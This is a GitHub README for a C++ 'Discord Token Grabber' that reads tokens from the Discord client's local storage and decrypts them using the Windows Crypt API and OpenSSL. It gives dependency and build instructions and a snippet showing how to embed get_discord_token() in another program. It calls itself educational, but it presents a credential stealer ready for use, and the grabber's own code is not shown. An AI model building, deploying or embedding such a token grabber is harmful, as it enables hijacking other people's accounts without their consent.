Skip to content

Thiago21dx/DiscordTokenGrabber

Repository files navigation

Discord Token Grabber (Educational Purpose)

Legal Disclaimer:

This repository and code are intended for educational purposes only. Unauthorized access to user tokens, data, or accounts is against Discord's Terms of Service and can lead to permanent bans, legal action, and criminal charges. By using or studying this code, you acknowledge that you will not engage in any illegal activities or violate the rights of others. You are responsible for your actions and how you use the code.

Overview:

This repository contains an example implementation of how to retrieve and decrypt Discord tokens stored in the local storage of the Discord client. It provides a simple way to understand how tokens are stored, encrypted, and decrypted within applications like Discord. This project is meant solely for learning about the security mechanisms in place.

Features:

  • Retrieves tokens stored in Discord's local storage.
  • Decrypts tokens using Windows encryption API and OpenSSL for AES decryption.
  • Written in C++ with dependencies on OpenSSL and JSON for Modern C++.

Prerequisites:

To build this project, the following dependencies are required:

  • OpenSSL: For AES decryption.
  • JSON for Modern C++: For parsing JSON.
  • Windows Crypt API: For decrypting the stored encryption keys.

Install Dependencies with vcpkg:

  1. If you haven't installed vcpkg yet, follow the instructions on the official page:
    https://github.com/microsoft/vcpkg

  2. Once vcpkg is installed, open a terminal and navigate to your project directory, then run the following command to install the necessary libraries:

    vcpkg install openssl jsoncpp
  3. After the installation is complete, integrate vcpkg with your Visual Studio project by running the following command:

    vcpkg integrate install

Building the Project:

  1. Open the project in your preferred C++ IDE or editor (e.g., Visual Studio).
  2. Configure your IDE to use the vcpkg libraries. In Visual Studio, go to Tools > Options > vcpkg and follow the prompts to configure it.
  3. Build the project.

How to Use:

The main function get_discord_token() retrieves and decrypts the first available Discord token from the local storage. To call this function from another C++ program, simply include the discord_token_grabber.cpp file:

#include "discord_token_grabber.cpp"

int main() {
    std::string token = get_discord_token();
    if (!token.empty()) {
        // Do something with the token
    }
    return 0;
}